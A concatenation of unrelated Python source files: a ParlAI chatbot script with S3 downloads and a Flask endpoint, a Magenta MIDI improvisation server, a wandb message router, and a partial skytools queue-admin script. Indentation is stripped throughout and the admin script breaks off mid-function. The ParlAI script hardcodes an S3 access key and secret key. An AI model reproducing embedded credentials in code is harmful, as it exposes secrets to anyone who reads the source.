ACCESS_KEY = "AKIAtEpiGWUcQIelPRlD1Pi6xQ"
SECRET_KEY = "YNV6xS8lXnCTGSy1x2vGkmGnmdJbZSapNXaSaRhK"
host = "http://192.168.2.102"
bucket_name = 'testing'
local_folder = "C:\\Users\\Administrator\\Desktop\\ai\\ParlAI\\training\\poly-encoder"
'''if os.path.isdir(local_folder):
shutil.rmtree(local_folder)'''
#local_folder, s3_folder = argv[1:3]
walks = os.walk(local_folder)
# Function to download from s3.
def download_from_s3(bucket, local_file, s3_file):
"""local_file, s3_file can be paths"""
s3 = boto3.client('s3', endpoint_url= host,aws_access_key_id=ACCESS_KEY,
aws_secret_access_key=SECRET_KEY,config=Config(signature_version='s3v4'),
region_name='US')
print(' Downloding ' + s3_file + ' as ' + bucket + '\\' +local_file)
try:
s3.download_file(bucket, s3_file, local_file)
print(' '+s3_file + ": download Successful")
print(' ---------')
return True
except NoCredentialsError:
print("Credentials not available")
return False
for source, dirs, files in walks:
print('Directory: ' + source)
for filename in files:
# construct the full local path
local_file = os.path.join(source, filename)
# construct the full Dropbox path
relative_path = os.path.relpath(local_file, local_folder)
print(relative_path)
s3_file = relative_path
# Invoke download function
download_from_s3(bucket_name, local_file, s3_file)
@register_agent("poly")
class PolyAgent(Agent):
@classmethod
def add_cmdline_args(cls, parser, partial_opt):
parser.add_argument('--name', type=str, default='Metell', help="The agent's name.")
return parser
def __init__(self, opt, shared=None):
# similar to the teacher, we have the Opt and the shared memory objects!
super().__init__(opt, shared)
self.id = 'PolyAgent'
self.name = opt['name']
def observe(self, observation):
# Gather the last word from the other user's input
words = observation.get('text', '').split()
if words:
self.last_word = words[-1]
else:
self.last_word = "stranger!"
def act(self):
# Always return a string like this.
return {
'id': self.id,
'text': f"Hello {self.last_word}, I'm {self.name}",
}
@register_teacher("poly_teacher")
class PolyTeacher(DialogTeacher):
def __init__(self, opt, shared=None):
# opt is the command line arguments.
# What is this shared thing?
# We make many copies of a teacher, one-per-batchsize. Shared lets us store
# We just need to set the "datafile". This is boilerplate, but differs in many teachers.
# The "datafile" is the filename where we will load the data from. In this case, we'll set it to
# the fold name (train/valid/test) + ".txt"
# opt['datafile'] = opt['datatype'].split(':')[0] + ".txt"
opt['datafile'] = 'train.txt'
print("__init__: ", opt['datafile'])
super().__init__(opt, shared)
def setup_data(self, datafile):
# filename tells us where to load from.
# We'll just use some hardcoded data, but show how you could read the filename here:
print(f" ~~ Loading from {datafile} ~~ ")
with open(datafile) as f:
new_episode = True
for line in f.readlines():
splits = line.split(' ')
if len(splits) == 3:
yield (splits[0].replace('text:', ''), splits[1].replace('labels:', '')), new_episode
new_episode = True
else:
yield (splits[0].replace('text:', ''), splits[1].replace('labels:', '')), new_episode
new_episode = False
app = Flask(__name__)
app.static_folder = 'static'
input_file = "input.txt"
output_file = "output.txt"
def is_something_ready(file):
file = os.path.isfile(file)
if file is True:
return True
return False
def flask_func():
@app.route("/")
def home():
return render_template("index.html")
@app.route("/get")
def get_bot_response():
userText = request.args.get('msg')
userid = request.args.get('userid')
input_text = userText
if os.path.isfile(input_file):
os.remove("input.txt")
if os.path.isfile(output_file):
os.remove("output.txt")
file = open("input.txt","w").write(input_text + "_" + userid)
something = "output.txt"
wait(lambda: is_something_ready(something), waiting_for="output.txt file to be ready")
file = open("output.txt","r").read()
result = str(file)
return str(result)
app.run(host='localhost', port=8080)
@register_script('interactive', aliases=['i'])
class Interactive(ParlaiScript):
@classmethod
def setup_args(cls):
return setup_args()
def run(self):
return interactive(self.opt)
print("interactive:",interactive(self.opt))
def main_func():
def setup_args(parser=None):
if parser is None:
parser = ParlaiParser(
True, True, 'Interactive chat with a model on the command line'
)
parser.add_argument('-d', '--display-examples', type='bool', default=False)
parser.add_argument(
'--display-prettify',
type='bool',
default=False,
help='Set to use a prettytable when displaying '
'examples with text candidates',
)
parser.add_argument(
'--display-ignore-fields',
type=str,
default='label_candidates,text_candidates',
help='Do not display these fields',
)
parser.add_argument(
'-it',
'--interactive-task',
type='bool',
default=True,
help='Create interactive version of task',
)
parser.add_argument(
'--outfile',
type=str,
default='',
help='Saves a jsonl file containing all of the task examples and '
'model replies. Set to the empty string to not save at all',
)
parser.add_argument(
'--save-format',
type=str,
default='parlai',
choices=['conversations', 'parlai'],
help='Format to save logs in. conversations is a jsonl format, parlai is a text format.',
)
parser.set_defaults(interactive_mode=True, task='interactive')
LocalHumanAgent.add_cmdline_args(parser)
WorldLogger.add_cmdline_args(parser)
return parser
def interactive(opt):
if isinstance(opt, ParlaiParser):
logging.error('interactive should be passed opt not Parser')
opt = opt.parse_args()
# Create model and assign it to the specified task
agent = create_agent(opt, requireModelExists=True)
agent.opt.log()
human_agent = LocalHumanAgent(opt)
# set up world logger
world_logger = WorldLogger(opt) if opt.get('outfile') else None
world = create_task(opt, [human_agent, agent])
# Show some example dialogs:
while not world.epoch_done():
world.parley()
if world.epoch_done() or world.get_total_parleys() <= 0:
# chat was reset with [DONE], [EXIT] or EOF
if world_logger is not None:
world_logger.reset()
continue
if world_logger is not None:
world_logger.log(world)
if opt.get('display_examples'):
print("---")
print(world.display())
if world_logger is not None:
# dump world acts to file
world_logger.write(opt['outfile'], world, file_format=opt['save_format'])
@register_script('interactive', aliases=['i'])
class Interactive(ParlaiScript):
@classmethod
def setup_args(cls):
return setup_args()
def run(self):
return interactive(self.opt)
print("interactive:",interactive(self.opt))
random.seed(42)
Interactive.main()
if __name__ == '__main__':
t1 = threading.Thread(target=flask_func)
t2 = threading.Thread(target=main_func)
# starting thread 1
t2.start()
# starting thread 2
t1.start()
# wait until thread 1 is completely executed
t2.join()
# wait until thread 2 is completely executed
t1.join()
print("Done")
|
server.py
|
"""Setup for CANARIE talk.
This is a server that communicates with SuperCollider for interacting with a
MIDI controller.
It handles all the logic for figuring out when to turn on/off the bass notes.
"""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from absl import app
import importlib
import os
import OSC
import threading
import tensorflow as tf
import magenta
from magenta.models.melody_rnn import melody_rnn_model
from magenta.models.melody_rnn import melody_rnn_generate
from magenta.models.melody_rnn import melody_rnn_sequence_generator
from magenta.protobuf import generator_pb2
importlib.import_module('ascii_arts')
import ascii_arts
# Global Variables
# Addresses and ports to communicate with SuperCollider.
receive_address = ('127.0.0.1', 12345)
send_address = ('127.0.0.1', 57120)
server = OSC.OSCServer(receive_address) # To receive from SuperCollider.
client = OSC.OSCClient() # To send to SuperCollier.
client.connect(send_address)
mode = 'psc' # Current mode of operation: {'psc', 'robot', 'improv'}
# Robot improv specific variables.
min_primer_length = 20
max_robot_length = 20
accumulated_primer_melody = []
generated_melody = []
# Mapping of notes (defaults to identity).
note_mapping = {i:i for i in range(21, 109)}
improv_mode = '2sounds' # Either '2sounds', '1sound', 'question'.
improv_status = 'psc' # One of 'psc' or 'robot'.
# Read in the PerformanceRNN model.
MODEL_PATH = '/home/psc/Psc2/magenta_models/attention_rnn.mag'
bundle = magenta.music.read_bundle_file(MODEL_PATH)
def generate_melody():
"""Generate a new melody by querying the model."""
global bundle
global accumulated_primer_melody
global generated_melody
global max_robot_length
config_id = bundle.generator_details.id
config = melody_rnn_model.default_configs[config_id]
generator = melody_rnn_sequence_generator.MelodyRnnSequenceGenerator(
model=melody_rnn_model.MelodyRnnModel(config),
details=config.details,
steps_per_quarter=config.steps_per_quarter,
checkpoint=melody_rnn_generate.get_checkpoint(),
bundle=bundle)
generator_options = generator_pb2.GeneratorOptions()
generator_options.args['temperature'].float_value = 1.0
generator_options.args['beam_size'].int_value = 1
generator_options.args['branch_factor'].int_value = 1
generator_options.args['steps_per_iteration'].int_value = 1
primer_melody = magenta.music.Melody(accumulated_primer_melody)
qpm = magenta.music.DEFAULT_QUARTERS_PER_MINUTE
primer_sequence = primer_melody.to_sequence(qpm=qpm)
seconds_per_step = 60.0 / qpm / generator.steps_per_quarter
# Set the start time to begin on the next step after the last note ends.
last_end_time = (max(n.end_time for n in primer_sequence.notes)
if primer_sequence.notes else 0)
total_seconds = last_end_time * 3
generate_section = generator_options.generate_sections.add(
start_time=last_end_time + seconds_per_step,
end_time=total_seconds)
generated_sequence = generator.generate(primer_sequence, generator_options)
generated_melody = [n.pitch for n in generated_sequence.notes]
# Get rid of primer melody.
generated_melody = generated_melody[len(accumulated_primer_melody):]
# Make sure generated melody is not too long.
generated_melody = generated_melody[:max_robot_length]
accumulated_primer_melody = []
def send_playnote(note=None, sound='wurly'):
"""Send a `playnote` message to SuperCollider.
Will send different commands based on the sound desired.
"""
global mode
if note is None:
return
note[1] = max(1, note[1])
msg = OSC.OSCMessage()
command = '/play{}'.format(sound)
msg.setAddress(command)
msg.append(note)
client.send(msg)
def send_stopnote(note):
"""Send a `stopnote` message to SuperCollider.
"""
if note is None:
return
msg = OSC.OSCMessage()
msg.setAddress('/stopnote')
msg.append(note)
client.send(msg)
def process_note_on(addr, tags, args, source):
"""Handler for `/processnoteon` messages from SuperCollider.
This will process the event of a key press on the MIDI controller, detected
by SuperCollider. Depending on the state of the server it will do different
things:
- mode == 'improv': Decide, based on whether a generated melody is ready,
to hijack my notes with those generated by the model. The value of
'improv_mode' determines what sound is sent:
- if improv_mode == '2sounds' use 'organ' for robot, 'wurly' for human.
- if improv_mode == 'question' use only 'wurly'
- otherwise determine whether I'm playing the lower or upper half of the
iRig keyboard:
- If lower half, send same notes with 'wurly' sound.
- If upper half, transpose notes an octave down and send 'organ' sound.
Args:
addr: Address message sent to.
tags: Tags in message.
args: Arguments passed in message.
source: Source of sender.
"""
global accumulated_primer_melody
global generated_melody
global min_primer_length
global note_mapping
global improv_mode
global improv_status
global mode
global start_time
print_status()
note = list(args)
if mode == 'improv':
# If we have data in our generated melody we substitute human's notes.
if len(generated_melody):
improv_status = 'question' if improv_mode == 'question' else 'robot'
# To avoid stuck notes, send a note off for previous mapped note.
prev_note = list(args)
prev_note[0] = note_mapping[args[0]]
send_stopnote(prev_note)
note_mapping[args[0]] = generated_melody[0]
note[0] = generated_melody[0]
generated_melody = generated_melody[1:]
sound = 'organ' if improv_mode == '2sounds' else 'wurly'
else:
improv_status = 'question' if improv_mode == 'question' else 'psc'
accumulated_primer_melody.append(args[0])
sound = 'wurly'
if len(accumulated_primer_melody) >= min_primer_length:
magenta_thread = threading.Thread(target = generate_melody)
magenta_thread.start()
else:
if note[0] >= 72:
sound = 'organ'
improv_status = 'robot'
note[0] = note[0] - 12
print_status()
else:
sound = 'wurly'
improv_status = 'psc'
print_status()
send_playnote(note, sound)
def process_note_off(addr, tags, args, source):
"""Handler for `/processnoteoff` messages from SuperCollider.
If we're in improv_status == 'robot' and not improv mode, transpose
notes an octave down, since that's what we did when sending the
note to play.
Args:
addr: Address message sent to.
tags: Tags in message.
args: Arguments passed in message.
source: Source of sender.
"""
global mode
global note_mapping
orig_note = list(args)
note = list(args)
note[0] = note_mapping[args[0]]
if improv_status == 'robot' and mode != 'improv' and note[0] >= 72:
note[0] -= 12
orig_note[0] = args[0]
send_stopnote(note)
# Just in case we also send a stopnote for original note.
send_stopnote(orig_note)
note_mapping[args[0]] = args[0]
def cc_event(addr, tags, args, source):
"""Handler for `/ccevent` messages from SuperCollider.
Logic for dealine with the volume knob in the iRig mini
keyboard.
- If in lowest position (0): mode = 'psc' (wurly sound for
lower half, organ sound for upper half, no pitch hijacking).
- Else if in lower half of range, mode = '2sounds' (pitch hijacking,
wurly sound for human, organ for robot).
- Else if in upper half (but not max), mode = '1sound' (pitch hijacking,
wurly sound for both human and organ).
- Else if at highest position (127): mode = 'question' (pitch hijacking,
wurly sound for both, no faces displayed, only a question mark).
Args:
addr: Address message sent to.
tags: Tags in message.
args: Arguments passed in message.
source: Source of sender.
"""
global mode
global improv_mode
if not args:
return
cc_num, cc_chan, cc_src, cc_args = args
if cc_num == 0:
mode = 'psc'
print_status()
return
mode = 'improv'
if cc_num < 64:
improv_mode = '2sounds'
elif cc_num < 127:
improv_mode = '1sound'
elif cc_num == 127:
improv_mode = 'question'
print_status()
def print_status():
"""Prints the "face" of the user playing, unless in 'question' mode."""
global mode
global improv_mode
global improv_status
global min_primer_length
global max_robot_length
global accumulated_primer_melody
global generated_melody
os.system('clear')
print(ascii_arts.arts[improv_status])
if mode != 'improv':
return
if improv_status == 'psc':
print('*' * len(accumulated_primer_melody) +
'-' * (min_primer_length - len(accumulated_primer_melody)))
elif improv_status == 'robot':
print('-' * (max_robot_length - len(generated_melody)) +
'*' * (len(generated_melody)))
def main(_):
tf.logging.set_verbosity(tf.logging.ERROR)
print_status()
# Set up and start the server.
st = threading.Thread(target = server.serve_forever)
st.start()
server.addMsgHandler('/processnoteon', process_note_on)
server.addMsgHandler('/processnoteoff', process_note_off)
server.addMsgHandler('/ccevent', cc_event)
if __name__ == '__main__':
app.run(main)
|
router.py
|
#
# -*- coding: utf-8 -*-
"""Router - handle message router
Manage backend sender.
"""
import logging
import threading
from typing import Dict, Optional
from typing import TYPE_CHECKING
import uuid
from six.moves import queue
from wandb.proto import wandb_internal_pb2 as pb
if TYPE_CHECKING:
from six.moves.queue import Queue
logger = logging.getLogger("wandb")
class MessageFuture(object):
_object: Optional[pb.Result]
def __init__(self) -> None:
self._object = None
self._object_ready = threading.Event()
self._lock = threading.Lock()
def get(self, timeout: int = None) -> Optional[pb.Result]:
is_set = self._object_ready.wait(timeout)
if is_set and self._object:
return self._object
return None
def _set_object(self, obj: pb.Result) -> None:
self._object = obj
self._object_ready.set()
class MessageRouter(object):
_pending_reqs: Dict[str, MessageFuture]
_request_queue: "Queue[pb.Record]"
_response_queue: "Queue[pb.Result]"
def __init__(
self, request_queue: "Queue[pb.Record]", response_queue: "Queue[pb.Result]"
) -> None:
self._request_queue = request_queue
self._response_queue = response_queue
self._pending_reqs = {}
self._lock = threading.Lock()
self._join_event = threading.Event()
self._thread = threading.Thread(target=self.message_loop)
self._thread.daemon = True
self._thread.start()
def message_loop(self) -> None:
while not self._join_event.is_set():
try:
msg = self._response_queue.get(timeout=1)
except queue.Empty:
continue
self._handle_msg_rcv(msg)
def send_and_receive(
self, rec: pb.Record, local: Optional[bool] = None
) -> MessageFuture:
rec.control.req_resp = True
if local:
rec.control.local = local
rec.uuid = uuid.uuid4().hex
future = MessageFuture()
with self._lock:
self._pending_reqs[rec.uuid] = future
self._request_queue.put(rec)
return future
def join(self) -> None:
self._join_event.set()
self._thread.join()
def _handle_msg_rcv(self, msg: pb.Result) -> None:
with self._lock:
future = self._pending_reqs.pop(msg.uuid, None)
if future is None:
# TODO (cvp): saw this in tests, seemed benign enough to ignore, but
# could point to other issues.
if msg.uuid != "":
logger.warning(
"No listener found for msg with uuid %s (%s)", msg.uuid, msg
)
return
future._set_object(msg)
|
admin.py
|
#! /usr/bin/env python
## NB: not all commands work ##
"""Cascaded queue administration.
londiste.py INI pause [NODE [CONS]]
setadm.py INI pause NODE [CONS]
"""
import optparse
import os.path
import queue
import sys
import threading
import time
import skytools
from skytools import UsageError, DBError
from pgq.cascade.nodeinfo import *
__all__ = ['CascadeAdmin']
RESURRECT_DUMP_FILE = "resurrect-lost-events.json"
command_usage = """\
%prog [options] INI CMD [subcmd args]
Node Initialization:
create-root NAME [PUBLIC_CONNSTR]
create-branch NAME [PUBLIC_CONNSTR] --provider=<public_connstr>
create-leaf NAME [PUBLIC_CONNSTR] --provider=<public_connstr>
All of the above initialize a node
Node Administration:
pause Pause node worker
resume Resume node worker
wait-root Wait until node has caught up with root
wait-provider Wait until node has caught up with provider
status Show cascade state
node-status Show status of local node
members Show members in set
Cascade layout change:
change-provider --provider NEW_NODE
Change where worker reads from
takeover FROM_NODE [--all] [--dead]
Take other node position
drop-node NAME
Remove node from cascade
tag-dead NODE ..
Tag node as dead
tag-alive NODE ..
Tag node as alive
"""
standalone_usage = """
setadm extra switches:
pause/resume/change-provider:
--node=NODE_NAME | --consumer=CONSUMER_NAME
create-root/create-branch/create-leaf:
--worker=WORKER_NAME
"""
class CascadeAdmin(skytools.AdminScript):
"""Cascaded PgQ administration."""
queue_name = None
queue_info = None
extra_objs = []
local_node = None
root_node_name = None
commands_without_pidfile = ['status', 'node-status', 'node-info']
def __init__(self, svc_name, dbname, args, worker_setup = False):
skytools.AdminScript.__init__(self, svc_name, args)
self.initial_db_name = dbname
if worker_setup:
self.options.worker = self.job_name
self.options.consumer = self.job_name
def init_optparse(self, parser = None):
"""Add SetAdmin switches to parser."""
p = skytools.AdminScript.init_optparse(self, parser)
usage = command_usage + standalone_usage
p.set_usage(usage.strip())
g = optparse.OptionGroup(p, "actual queue admin options")
g.add_option("--connstr", action="store_true",
help = "initial connect string")
g.add_option("--provider",
help = "init: connect string for provider")
g.add_option("--queue",
help = "specify queue name")
g.add_option("--worker",
help = "create: specify worker name")
g.add_option("--node",
help = "specify node name")
g.add_option("--consumer",
help = "specify consumer name")
g.add_option("--target",
help = "takeover: specify node to take over")
g.add_option("--merge",
help = "create-node: combined queue name")
g.add_option("--dead", action="append",
help = "tag some node as dead")
g.add_option("--dead-root", action="store_true",
help = "tag some node as dead")
g.add_option("--dead-branch", action="store_true",
help = "tag some node as dead")
g.add_option("--sync-watermark",
help = "list of node names to sync with")
p.add_option_group(g)
return p
def reload(self):
"""Reload config."""
skytools.AdminScript.reload(self)
if self.options.queue:
self.queue_name = self.options.queue
else:
self.queue_name = self.cf.get('queue_name', '')
if not self.queue_name:
self.queue_name = self.cf.get('pgq_queue_name', '')
if not self.queue_name:
raise Exception('"queue_name" not specified in config')
#
# Node initialization.
#
def cmd_install(self):
db = self.get_database(self.initial_db_name)
self.install_code(db)
def cmd_create_root(self, *args):
return self.create_node('root', args)
def cmd_create_branch(self, *args):
return self.create_node('branch', args)
def cmd_create_leaf(self, *args):
return self.create_node('leaf', args)
def create_node(self, node_type, args):
"""Generic node init."""
if node_type not in ('root', 'branch', 'leaf'):
raise Exception('unknown node type')
# load node name
if len(args) > 0:
node_name = args[0]
else:
node_name = self.cf.get('node_name', '')
if not node_name:
raise UsageError('Node name must be given either in command line or config')
# load node public location
if len(args) > 1:
node_location = args[1]
else:
node_location = self.cf.get('public_node_location', '')
if not node_location:
raise UsageError('Node public location must be given either in command line or config')
if len(args) > 2:
raise UsageError('Too many args, only node name and public connect string allowed')
# load provider
provider_loc = self.options.provider
if not provider_loc:
provider_loc = self.cf.get('initial_provider_location', '')
# check if sane
ok = 0
for k, v in skytools.parse_connect_string(node_location):
if k in ('host', 'service'):
ok = 1
break
if not ok:
self.log.warning('No host= in public connect string, bad idea')
# connect to database
db = self.get_database(self.initial_db_name)
# check if code is installed
self.install_code(db)
# query current status
res = self.exec_query(db, "select * from pgq_node.get_node_info(%s)", [self.queue_name])
info = res[0]
if info['node_type'] is not None:
self.log.info("Node is already initialized as %s", info['node_type'])
return
# check if public connstr is sane
self.check_public_connstr(db, node_location)
self.log.info("Initializing node")
node_attrs = {}
worker_name = self.options.worker
if not worker_name:
raise Exception('--worker required')
combined_queue = self.options.merge
if combined_queue and node_type != 'leaf':
raise Exception('--merge can be used only for leafs')
if self.options.sync_watermark:
if node_type != 'branch':
raise UsageError('--sync-watermark can be used only for branch nodes')
node_attrs['sync_watermark'] = self.options.sync_watermark
# register member
if node_type == 'root':
global_watermark = None
combined_queue = None
provider_name = None
self.exec_cmd(db, "select * from pgq_node.register_location(%s, %s, %s, false)",
[self.queue_name, node_name, node_location])
self.exec_cmd(db, "select * from pgq_node.create_node(%s, %s, %s, %s, %s, %s, %s)",
[self.queue_name, node_type, node_name, worker_name, provider_name, global_watermark, combined_queue])
provider_db = None
else:
if not provider_loc:
raise Exception('Please specify --provider')
root_db = self.find_root_db(provider_loc)
queue_info = self.load_queue_info(root_db)
# check if member already exists
if queue_info.get_member(node_name) is not None:
self.log.error("Node '%s' already exists", node_name)
sys.exit(1)
combined_set = None
provider_db = self.get_database('provider_db', connstr = provider_loc, profile = 'remote')
q = "select node_type, node_name from pgq_node.get_node_info(%s)"
res = self.exec_query(provider_db, q, [self.queue_name])
row = res[0]
if not row['node_name']:
raise Exception("provider node not found")
provider_name = row['node_name']
# register member on root
self.exec_cmd(root_db, "select * from pgq_node.register_location(%s, %s, %s, false)",
[self.queue_name, node_name, node_location])
# lookup provider
provider = queue_info.get_member(provider_name)
if not provider:
self.log.error("Node %s does not exist", provider_name)
sys.exit(1)
# register on provider
self.exec_cmd(provider_db, "select * from pgq_node.register_location(%s, %s, %s, false)",
[self.queue_name, node_name, node_location])
rows = self.exec_cmd(provider_db, "select * from pgq_node.register_subscriber(%s, %s, %s, null)",
[self.queue_name, node_name, worker_name])
global_watermark = rows[0]['global_watermark']
# initialize node itself
# insert members
self.exec_cmd(db, "select * from pgq_node.register_location(%s, %s, %s, false)",
[self.queue_name, node_name, node_location])
for m in queue_info.member_map.values():
self.exec_cmd(db, "select * from pgq_node.register_location(%s, %s, %s, %s)",
[self.queue_name, m.name, m.location, m.dead])
# real init
self.exec_cmd(db, "select * from pgq_node.create_node(%s, %s, %s, %s, %s, %s, %s)",
[ self.queue_name, node_type, node_name, worker_name,
provider_name, global_watermark, combined_queue ])
self.extra_init(node_type, db, provider_db)
if node_attrs:
s_attrs = skytools.db_urlencode(node_attrs)
self.exec_cmd(db, "select * from pgq_node.set_node_attrs(%s, %s)",
[self.queue_name, s_attrs])
self.log.info("Done")
def check_public_connstr(self, db, pub_connstr):
"""Look if public and local connect strings point to same db's.
"""
pub_db = self.get_database("pub_db", connstr = pub_connstr, profile = 'remote')
curs1 = db.cursor()
curs2 = pub_db.cursor()
q = "select oid, datname, txid_current() as txid, txid_current_snapshot() as snap"\
" from pg_catalog.pg_database where datname = current_database()"
curs1.execute(q)
res1 = curs1.fetchone()
db.commit()
curs2.execute(q)
res2 = curs2.fetchone()
pub_db.commit()
curs1.execute(q)
res3 = curs1.fetchone()
db.commit()
self.close_database("pub_db")
failure = 0
if (res1['oid'], res1['datname']) != (res2['oid'], res2['datname']):
failure += 1
sn1 = skytools.Snapshot(res1['snap'])
tx = res2['txid']
sn2 = skytools.Snapshot(res3['snap'])
if sn1.contains(tx):
failure += 2
elif not sn2.contains(tx):
failure += 4
if failure:
raise UsageError("Public connect string points to different database than local connect string (fail=%d)" % failure)
def extra_init(self, node_type, node_db, provider_db):
"""Callback to do specific init."""
pass
def find_root_db(self, initial_loc = None):
"""Find root node, having start point."""
if initial_loc:
loc = initial_loc
db = self.get_database('root_db', connstr = loc, profile = 'remote')
else:
loc = self.cf.get(self.initial_db_name)
db = self.get_database('root_db', connstr = loc)
while 1:
# query current status
res = self.exec_query(db, "select * from pgq_node.get_node_info(%s)", [self.queue_name])
info = res[0]
node_type = info['node_type']
if node_type is None:
self.log.info("Root node not initialized?")
sys.exit(1)
self.log.debug("db='%s' -- type='%s' provider='%s'", loc, node_type, info['provider_location'])
# configured db may not be root anymore, walk upwards then
if node_type in ('root', 'combined-root'):
db.commit()
self.root_node_name = info['node_name']
return db
self.close_database('root_db')
if loc == info['provider_location']:
raise Exception("find_root_db: got loop: %s" % loc)
loc = info['provider_location']
if loc is None:
self.log.error("Sub node provider not initialized?")
sys.exit(1)
db = self.get_database('root_db', connstr = loc, profile = 'remote')
raise Exception('process canceled')
def find_root_node(self):
self.find_root_db()
return self.root_node_name
def find_consumer_check(self, node, consumer):
cmap = self.get_node_consumer_map(node)
return (consumer in cmap)
def find_consumer(self, node = None, consumer = None):
if not node and not consumer:
node = self.options.node
consumer = self.options.consumer
if not node and not consumer:
raise Exception('Need either --node or --consumer')
# specific node given
if node:
if consumer:
if not self.find_consumer_check(node, consumer):
raise Exception('Consumer not found')
else:
state = self.get_node_info(node)
consumer = state.worker_name
return (node, consumer)
# global consumer search
if self.find_consumer_check(self.local_node, consumer):
return (self.local_node, consumer)
# fixme: dead node handling?
nodelist = self.queue_info.member_map.keys()
for node in nodelist:
if node == self.local_node:
continue
if self.find_consumer_check(node, consumer):
return (node, consumer)
raise Exception('Consumer not found')
def install_code(self, db):
"""Install cascading code to db."""
objs = [
skytools.DBLanguage("plpgsql"),
#skytools.DBFunction("txid_current_snapshot", 0, sql_file="txid.sql"),
skytools.DBSchema("pgq", sql_file="pgq.sql"),
skytools.DBFunction("pgq.get_batch_cursor", 3, sql_file = "pgq.upgrade.2to3.sql"),
skytools.DBSchema("pgq_ext", sql_file="pgq_ext.sql"), # not needed actually
skytools.DBSchema("pgq_node", sql_file="pgq_node.sql"),
]
objs += self.extra_objs
skytools.db_install(db.cursor(), objs, self.log)
db.commit()
#
# Print status of whole set.
#
def cmd_status(self):
"""Show set status."""
self.load_local_info()
# prepare data for workers
members = queue.Queue()
for m in self.queue_info.member_map.values():
cstr = self.add_connect_string_profile(m.location, 'remote')
members.put( (m.name, cstr) )
nodes = queue.Queue()
# launch workers and wait
num_nodes = len(self.queue_info.member_map)
num_threads = max (min (num_nodes / 4, 100), 1)
tlist = []
for i in range(num_threads):
t = threading.Thread (target = self._cmd_status_worker, args = (members, nodes))
t.daemon = True
t.start()
tlist.append(t)
#members.join()
for t in tlist:
t.join()
while True:
try:
node = nodes.get_nowait()
except queue.Empty:
break
self.queue_info.add_node(node)
self.queue_info.print_tree()
def _cmd_status_worker (self, members, nodes):
# members in, nodes out, both thread-safe
while True:
try:
node_name, node_connstr = members.get_nowait()
except queue.Empty:
break
node = self.load_node_status (node_name, node_connstr)
nodes.put(node)
members.task_done()
def load_node_status (self, name, location):
""" Load node info & status """
# must be thread-safe (!)
if not self.node_alive(name):
node = NodeInfo(self.queue_name, None, node_name = name)
return node
try:
db = None
db = skytools.connect_database (location)
db.set_isolation_level (skytools.I_AUTOCOMMIT)
curs = db.cursor()
curs.execute("select * from pgq_node.get_node_info(%s)", [self.queue_name])
node = NodeInfo(self.queue_name, curs.fetchone())
node.load_status(curs)
self.load_extra_status(curs, node)
except(DBError) as err:
msg = str(err).strip().split('\n', 1)[0].strip()
print('Node %r failure: %s' % (name, msg))
node = NodeInfo(self.queue_name, None, node_name = name)
finally:
if db: db.close()
return node
def cmd_node_status(self):
"""
Show status of a local node.
"""
self.load_local_info()
db = self.get_node_database(self.local_node)
curs = db.cursor()
node = self.queue_info.local_node
node.load_status(curs)
self.load_extra_status(curs, node)
subscriber_nodes = self.get_node_subscriber_list(self.local_node)
offset=4*' '
print(node.get_title())
print(offset+'Provider: %s' % node.provider_node)
print(offset+'Subscribers: %s' % ', '.join(subscriber_nodes))
for l in node.get_infolines():
print(offset+l)
def load_extra_status(self, curs, node):
"""Fetch extra info."""
# must be thread-safe (!)
pass
#
# Normal commands.
#
def cmd_change_provider(self):
"""Change node provider."""
self.load_local_info()
self.change_provider(
node = self.options.node,
consumer = self.options.consumer,
new_provider = self.options.provider)
def node_change_provider(self, node, new_provider):
self.change_provider(node, new_provider = new_provider)
def change_provider(self, node = None, consumer = None, new_provider = None):
old_provider = None
if not new_provider:
raise Exception('Please give --provider')
if not node or not consumer:
node, consumer = self.find_consumer(node = node, consumer = consumer)
if node == new_provider:
raise UsageError ("cannot subscribe to itself")
cmap = self.get_node_consumer_map(node)
cinfo = cmap[consumer]
old_provider = cinfo['provider_node']
if old_provider == new_provider:
self.log.info("Consumer '%s' at node '%s' has already '%s' as provider",
consumer, node, new_provider)
return
# pause target node
self.pause_consumer(node, consumer)
# reload node info
node_db = self.get_node_database(node)
qinfo = self.load_queue_info(node_db)
ninfo = qinfo.local_node
node_location = qinfo.get_member(node).location
# reload consumer info
cmap = self.get_node_consumer_map(node)
cinfo = cmap[consumer]
# is it node worker or plain consumer?
is_worker = (ninfo.worker_name == consumer)
# fixme: expect the node to be described already
q = "select * from pgq_node.register_location(%s, %s, %s, false)"
self.node_cmd(new_provider, q, [self.queue_name, node, node_location])
# subscribe on new provider
if is_worker:
q = 'select * from pgq_node.register_subscriber(%s, %s, %s, %s)'
self.node_cmd(new_provider, q, [self.queue_name, node, consumer, cinfo['last_tick_id']])
else:
q = 'select * from pgq.register_consumer_at(%s, %s, %s)'
self.node_cmd(new_provider, q, [self.queue_name, consumer, cinfo['last_tick_id']])
# change provider on target node
q = 'select * from pgq_node.change_consumer_provider(%s, %s, %s)'
self.node_cmd(node, q, [self.queue_name, consumer, new_provider])
# done
self.resume_consumer(node, consumer)
# unsubscribe from old provider
try:
if is_worker:
q = "select * from pgq_node.unregister_subscriber(%s, %s)"
self.node_cmd(old_provider, q, [self.queue_name, node])
else:
q = "select * from pgq.unregister_consumer(%s, %s)"
self.node_cmd(old_provider, q, [self.queue_name, consumer])
except(skytools.DBError) as err:
self.log.warning("failed to unregister from old provider (%s): %s", old_provider, str(err))
def cmd_rename_node(self, old_name, new_name):
"""Rename node."""
self.load_local_info()
root_db = self.find_root_db()
# pause target node
self.pause_node(old_name)
node = self.load_node_info(old_name)
provider_node = node.provider_node
subscriber_list = self.get_node_subscriber_list(old_name)
# create copy of member info / subscriber+queue info
step1 = 'select * from pgq_node.rename_node_step1(%s, %s, %s)'
# rename node itself, drop copies
step2 = 'select * from pgq_node.rename_node_step2(%s, %s, %s)'
# step1
self.exec_cmd(root_db, step1, [self.queue_name, old_name, new_name])
self.node_cmd(provider_node, step1, [self.queue_name, old_name, new_name])
self.node_cmd(old_name, step1, [self.queue_name, old_name, new_name])
for child in subscriber_list:
self.node_cmd(child, step1, [self.queue_name, old_name, new_name])
# step1
self.node_cmd(old_name, step2, [self.queue_name, old_name, new_name])
self.node_cmd(provider_node, step1, [self.queue_name, old_name, new_name])
for child in subscriber_list:
self.node_cmd(child, step2, [self.queue_name, old_name, new_name])
self.exec_cmd(root_db, step2, [self.queue_name, old_name, new_name])
# resume node
self.resume_node(old_name)
def cmd_drop_node(self, node_name):
"""Drop a node."""
self.load_local_info()
try:
node = self.load_node_info(node_name)
if node:
# see if we can safely drop
subscriber_list = self.get_node_subscriber_list(node_name)
if subscriber_list:
